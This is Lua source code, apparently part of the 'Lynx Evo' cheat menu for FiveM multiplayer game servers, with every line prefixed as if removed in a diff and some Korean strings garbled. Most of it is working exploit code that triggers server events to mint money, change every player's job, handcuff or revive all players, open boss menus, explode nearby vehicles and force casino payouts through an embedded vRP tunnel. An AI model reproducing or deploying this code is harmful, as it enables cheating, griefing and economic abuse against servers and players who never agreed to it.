- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('matte2') then
- for dK, em in pairs(bt) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('metal2') then
- for dK, em in pairs(bu) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('classic3') then
- for dK, em in pairs(br) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('metallic3') then
- for dK, em in pairs(br) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('matte3') then
- for dK, em in pairs(bt) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('metal3') then
- for dK, em in pairs(bu) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Installed'
- else
- if bg and ts == em.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if LynxEvo.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('李⑤웾 硫붾돱') then
- if LynxEvo.MenuButton('~h~~p~#~s~ ~h~~b~濡쒖뒪?고넗??~s~?쒕떇??, '濡쒖뒪?고넗??) then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ 李⑤웾 ~g~遺?ㅽ듃', 'BoostMenu') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ 李⑤웾紐⑸줉', 'CarTypes') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?꾩껜李⑤웾 ?몃·', 'GCT') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?몃윮 遺李??몃젅?쇰윭 ?뚰솚', 'MainTrailer') then
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~r~?뚰솚') then
- ca()
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~r~??젣') then
- DelVeh(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~g~?섎━') then
- cc()
- elseif LynxEvo.Button('~h~~s~?붿쭊 ~g~?섎━') then
- cd()
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~g~?ㅼ쭛湲?) then
- daojosdinpatpemata()
- elseif LynxEvo.Button('~h~~s~李⑤웾 ~b~? ~s~?쒕떇') then
- MaxOut(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif LynxEvo.Button('~h~~g~RC ~s~移?) then
- ce()
- LynxEvo.CloseMenu()
- elseif
- LynxEvo.CheckBox(
- '~h~?섏뼱吏吏 ?딆쓬',
- Nofall,
- function(dR)
- Nofall = dR
- SetPedCanBeKnockedOffVehicle(PlayerPedId(-1), Nofall)
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~李⑤웾 ~g~臾댁쟻',
- VehGod,
- function(dR)
- VehGod = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~遺?ㅽ꽣 ~s~媛??~g~SHIFT ~s~媛먯냽:~r~CTRL',
- VehSpeed,
- function(dR)
- VehSpeed = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('GCT') then
- if
- LynxEvo.CheckBox(
- '~h~~s~二쇰?李⑤웾 ~r~EMP',
- destroyvehicles,
- function(dR)
- destroyvehicles = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~s~二쇰?李⑤웾/鍮?李?~r~??젣',
- deletenearestvehicle,
- function(dR)
- deletenearestvehicle = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~s~二쇰?李⑤웾 ~r~??컻',
- explodevehicles,
- function(dR)
- explodevehicles = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~s~二쇰?李⑤웾 ~p~FUCK ',
- fuckallcars,
- function(dR)
- fuckallcars = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('猷⑥븘 硫붾돱') then
- if LynxEvo.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Boss', 'ESXBoss') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~r~ESX ~s~??紐낅졊??, 'ESXMoney') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~r~ESX ~s~吏곸뾽 紐낅졊??, 'ESXJobs') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~r~ESX ~s~湲고? 紐낅졊??, 'ESXCustom') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~r~ESX ~s~留덉빟 紐낅졊??, 'ESXDrugs') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~y~VRP ~s~紐낅졊??, 'VRPTriggers') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~b~湲고? ~s~紐낅졊??, 'MiscTriggers') then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXJobs') then
- if LynxEvo.Button('~h~Fire all players') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:destituerplayer', GetPlayerServerId(ak))
- UnemployedPlayers()
- end
- elseif LynxEvo.Button('~h~Set all ~b~Police ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'police', 3)
- PolicePlayers()
- end
- elseif LynxEvo.Button('~h~Set all ~o~Mecano ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'mecano', 3)
- MecanoPlayers()
- end
- elseif LynxEvo.Button('~h~Set all ~y~Taxi ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'taxi', 3)
- TaxiPlayers()
- end
- elseif LynxEvo.Button('~h~Set all ~r~Ambulance ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'ambulance', 3)
- AmbulancePlayers()
- end
- elseif LynxEvo.Button('~h~Set all ~g~Real Estate ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'realestateagent', 3)
- RealEstateAgentPlayers()
- end
- elseif LynxEvo.Button('~h~Set all ~r~Car ~b~Dealer ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'cardealer', 3)
- CarDealerPlayers()
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXBoss') then
- if LynxEvo.Button('~c~~h~Mechanic~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- elseif LynxEvo.Button('~b~~h~Police~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- elseif LynxEvo.Button('~r~~h~Ambulance~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- elseif LynxEvo.Button('~y~~h~Taxi~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- elseif LynxEvo.Button('~g~~h~Real Estate~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(en, eo)
- LynxEvo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(en, eo)
- LynxEvo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- elseif LynxEvo.Button('~o~~h~Car Dealer~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(en, eo)
- LynxEvo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(en, eo)
- LynxEvo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- elseif LynxEvo.Button('~y~~h~Custom~s~ Boss Menu') then
- local m = KeyboardInput('Enter custom boss menu job name', '', 100)
- if m ~= '' then
- TriggerEvent(
- 'esx_society:openBossMenu',
- m,
- function(en, eo)
- LynxEvo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- m,
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- m,
- function(er, es)
- es.close()
- end
- )
- LynxEvo.CloseMenu()
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXMoney') then
- if LynxEvo.Button('~h~~o~Automatic Money ~r~ WARNING!') then
- automaticmoneyesx()
- elseif LynxEvo.Button('~g~~h~ESX ~y~Caution Give Back') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_jobs:caution', 'give_back', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~?몃윮湲곗궗 蹂댁닔諛쏄린 ~y~by-?≫뙜??) then -- ?몃윮湲곗궗
- local m = KeyboardInput('諛쏄퀬 ?띠? 湲덉븸 by-?≫뙜??, '', 100)
- if m ~= '' then
- TriggerServerEvent('truckerJob:success', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Eden Garage') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'eden_garage:payhealth',
- {
- costs = -m
- }
- )
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Fuel Delivery') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_fueldelivery:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Car Thief') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_carthief:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~DMV School') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'esx_dmvschool:pay',
- {
- costs = -m
- }
- )
- end
- elseif LynxEvo.Button('~g~~h~FUEL ~y~Legacy Fuel') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'LegacyFuel:PayFuel',
- {
- costs = -m
- }
- )
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Dirty Job') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_godirtyjob:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Pizza Boy') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_pizza:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Ranger Job') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_ranger:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Garbage Job') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_garbagejob:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Car Thief ~r~DIRTY MONEY') then
- local m = KeyboardInput('Enter amount of dirty money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_carthief:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Trucker Job') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_truckerjob:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Admin Give Bank') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('AdminMenu:giveBank', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Admin Give Cash') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('AdminMenu:giveCash', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Postal Job') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_gopostaljob:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Banker Job') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_banksecurity:pay', m)
- end
- elseif LynxEvo.Button('~g~~h~ESX ~y~Slot Machine') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_slotmachine:sv:2', m)
- end
- elseif
- LynxEvo.CheckBox(
- '~g~~h~ESX Hunting~y~ reward',
- huntspam,
- function(dR)
- huntspam = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXCustom') then
- if LynxEvo.Button('~w~~h~Set hunger to ~h~~g~100') then
- TriggerEvent('esx_status:set', 'hunger', 1000000)
- elseif LynxEvo.Button('~w~~h~Set thirst to ~h~~g~100') then
- TriggerEvent('esx_status:set', 'thirst', 1000000)
- elseif LynxEvo.Button('~g~~h~ESX ~r~Revive') then
- local f = KeyboardInput('Enter Player ID or all', '', 1000)
- if f then
- if f == 'all' then
- for i = 0, 128 do
- TriggerEvent('esx_ambulancejob:revive', GetPlayerServerId(i))
- TriggerEvent('esx_ambulancejob:revive', GetPlayerServerId(i))
- end
- else
- TriggerEvent('esx_ambulancejob:revive', f)
- TriggerEvent('esx_ambulancejob:revive', f)
- end
- end
- elseif LynxEvo.Button('~g~~h~ESX ~b~Handcuff') then
- local f = KeyboardInput('Enter Player ID or all', '', 1000)
- if f then
- if f == 'all' then
- for i = 0, 128 do
- TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
- TriggerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
- end
- else
- TriggerEvent('esx_policejob:handcuff', f)
- TriggerServerEvent('esx_policejob:handcuff', f)
- end
- end
- elseif LynxEvo.Button('~h~Get Driving License') then
- TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
- elseif LynxEvo.Button('~h~~b~Buy ~s~a vehicle for ~g~free') then
- cv()
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXDrugs') then
- if LynxEvo.Button('~h~~g~Harvest ~g~Weed') then
- hweed()
- elseif LynxEvo.Button('~h~~g~Transform ~g~Weed') then
- tweed()
- elseif LynxEvo.Button('~h~~g~Sell ~g~Weed') then
- sweed()
- elseif LynxEvo.Button('~h~~w~Harvest ~w~Coke') then
- hcoke()
- elseif LynxEvo.Button('~h~~w~Transform ~w~Coke') then
- tcoke()
- elseif LynxEvo.Button('~h~~w~Sell ~w~Coke') then
- scoke()
- elseif LynxEvo.Button('~h~~r~Harvest Meth') then
- hmeth()
- elseif LynxEvo.Button('~h~~r~Transform Meth') then
- tmeth()
- elseif LynxEvo.Button('~h~~r~Sell Meth') then
- smeth()
- elseif LynxEvo.Button('~h~~p~Harvest Opium') then
- hopi()
- elseif LynxEvo.Button('~h~~p~Transform Opium') then
- topi()
- elseif LynxEvo.Button('~h~~p~Sell Opium') then
- sopi()
- elseif LynxEvo.Button('~h~~g~Money Wash') then
- mataaspalarufe()
- elseif LynxEvo.Button('~r~~h~Stop all') then
- matanumaispalarufe()
- elseif
- LynxEvo.CheckBox(
- '~h~~r~Blow Drugs Up ~y~DANGER!',
- BlowDrugsUp,
- function(dR)
- BlowDrugsUp = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('VRPTriggers') then
- if LynxEvo.Button('~r~~h~VRP ~s~??~y~?뚰솚') then
- local m = KeyboardInput('?앹꽦??湲덉븸 ?낅젰', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'lscustoms:payGarage',
- {
- costs = -m
- }
- )
- end
- elseif LynxEvo.Button('~r~~h~VRP ~s~?щ’癒몄떊 ~g~?곗듅癒몃땲') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('vrp_slotmachine:server:2', m)
- end
- elseif LynxEvo.Button('~r~~h~~g~?ロ???~p~蹂댁긽 ~s~諛쏄린') then
- TriggerServerEvent('paycheck:autohottime')
- TriggerServerEvent('paycheck:autohottime2')
- TriggerServerEvent('paycheck:autohottime3')
- TriggerServerEvent('paycheck:auto')
- TriggerServerEvent('paycheck:auto2')
- elseif LynxEvo.Button('~r~~h~~g~移댁???~p~移??앹꽦 ~y~by-?≫뙜??) then
- local m = KeyboardInput('?앹꽦??移댁???移?媛?닔 ', '', 100)
- if m ~= '' then
- ---- TUNNEL CLIENT SIDE VERSION (https://github.com/ImagicTheCat/vRP)
- -- Too bad that require doesn't exist client-side
- -- TOOLS DEF
- Tools = {}
- -- ID generator
- local IDGenerator = {}
- function Tools.newIDGenerator()
- local r = setmetatable({}, { __index = IDGenerator })
- r:construct()
- return r
- end
- function IDGenerator:construct()
- self:clear()
- end
- function IDGenerator:clear()
- self.max = 0
- self.ids = {}
- end
- -- return a new id
- function IDGenerator:gen()
- if #self.ids > 0 then
- return table.remove(self.ids)
- else
- local r = self.max
- self.max = self.max+1
- return r
- end
- end
- -- free a previously generated id
- function IDGenerator:free(id)
- table.insert(self.ids,id)
- end
- -- TUNNEL DEF
- Tunnel = {}
- local function tunnel_resolve(itable,key)
- local mtable = getmetatable(itable)
- local iname = mtable.name
- local ids = mtable.tunnel_ids
- local callbacks = mtable.tunnel_callbacks
- local identifier = mtable.identifier
- -- generate access function
- local fcall = function(args,callback)
- if args == nil then
- args = {}
- end
- -- send request
- if type(callback) == "function" then -- ref callback if exists (become a request)
- local rid = ids:gen()
- callbacks[rid] = callback
- TriggerServerEvent(iname..":tunnel_req",key,args,identifier,rid)
- else -- regular trigger
- TriggerServerEvent(iname..":tunnel_req",key,args,"",-1)
- end
- end
- itable[key] = fcall -- add generated call to table (optimization)
- return fcall
- end
- -- bind an interface (listen to net requests)
- -- name: interface name
- -- interface: table containing functions
- function Tunnel.bindInterface(name,interface)
- -- receive request
- RegisterNetEvent(name..":tunnel_req")
- AddEventHandler(name..":tunnel_req",function(member,args,identifier,rid)
- local f = interface[member]
- local delayed = false
- local rets = {}
- if type(f) == "function" then
- -- bind the global function to delay the return values using the returned function with args
- TUNNEL_DELAYED = function()
- delayed = true
- return function(rets)
- rets = rets or {}
- if rid >= 0 then
- TriggerServerEvent(name..":"..identifier..":tunnel_res",rid,rets)
- end
- end
- end
- rets = {f(table.unpack(args))} -- call function
- -- CancelEvent() -- cancel event doesn't seem to cancel the event for the other handlers, but if it does, uncomment this
- end
- -- send response (event if the function doesn't exist)
- if not delayed and rid >= 0 then
- TriggerServerEvent(name..":"..identifier..":tunnel_res",rid,rets)
- end
- end)
- end
- -- get a tunnel interface to send requests
- -- name: interface name
- -- identifier: unique string to identify this tunnel interface access (the name of the current resource should be fine)
- function Tunnel.getInterface(name,identifier)
- local ids = Tools.newIDGenerator()
- local callbacks = {}
- -- build interface
- local r = setmetatable({},{ __index = tunnel_resolve, name = name, tunnel_ids = ids, tunnel_callbacks = callbacks, identifier = identifier })
- -- receive response
- RegisterNetEvent(name..":"..identifier..":tunnel_res")
- AddEventHandler(name..":"..identifier..":tunnel_res",function(rid,args)
- local callback = callbacks[rid]
- if callback ~= nil then
- -- free request id
- ids:free(rid)
- callbacks[rid] = nil
- -- call
- callback(table.unpack(args))
- end
- end)
- return r
- end
- ---- END TUNNEL CLIENT SIDE VERSION
- -- PROXY CLIENT-SIDE VERSION (https://github.com/ImagicTheCat/vRP)
- -- Proxy interface system, used to add/call functions between resources
- Proxy = {}
- local proxy_rdata = {}
- local function proxy_callback(rvalues) -- save returned values, TriggerEvent is synchronous
- proxy_rdata = rvalues
- end
- local function proxy_resolve(itable,key)
- local iname = getmetatable(itable).name
- -- generate access function
- local fcall = function(args,callback)
- if args == nil then
- args = {}
- end
- TriggerEvent(iname..":proxy",key,args,proxy_callback)
- return table.unpack(proxy_rdata) -- returns
- end
- itable[key] = fcall -- add generated call to table (optimization)
- return fcall
- end
- --- Add event handler to call interface functions (can be called multiple times for the same interface name with different tables)
- function Proxy.addInterface(name, itable)
- AddEventHandler(name..":proxy",function(member,args,callback)
- local f = itable[member]
- if type(f) == "function" then
- callback({f(table.unpack(args))}) -- call function with and return values through callback
- -- CancelEvent() -- cancel event doesn't seem to cancel the event for the other handlers, but if it does, uncomment this
- else
- -- print("error: proxy call "..name..":"..member.." not found")
- end
- end)
- end
- function Proxy.getInterface(name)
- local r = setmetatable({},{ __index = proxy_resolve, name = name })
- return r
- end
- -- END PROXY CLIENT-SIDE VERSION
- vRPcasinoS = Tunnel.getInterface("vrp_FuckYou","vrp_FuckYou")
- --[[vRPcasinoS = Tunnel.getInterface("vrp_casi!","vrp_casi!")
- vRPcasinoS = Tunnel.getInterface("vRP_ca!","vRP_ca!")]]--
- vRPcasinoS.payRouletteWinnings({m+1, m+1})
- vRPcasinoS.winSlotMachine({m+1, m})
- end
- elseif LynxEvo.Button('~g~~h~??~r~吏?곌린') then
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
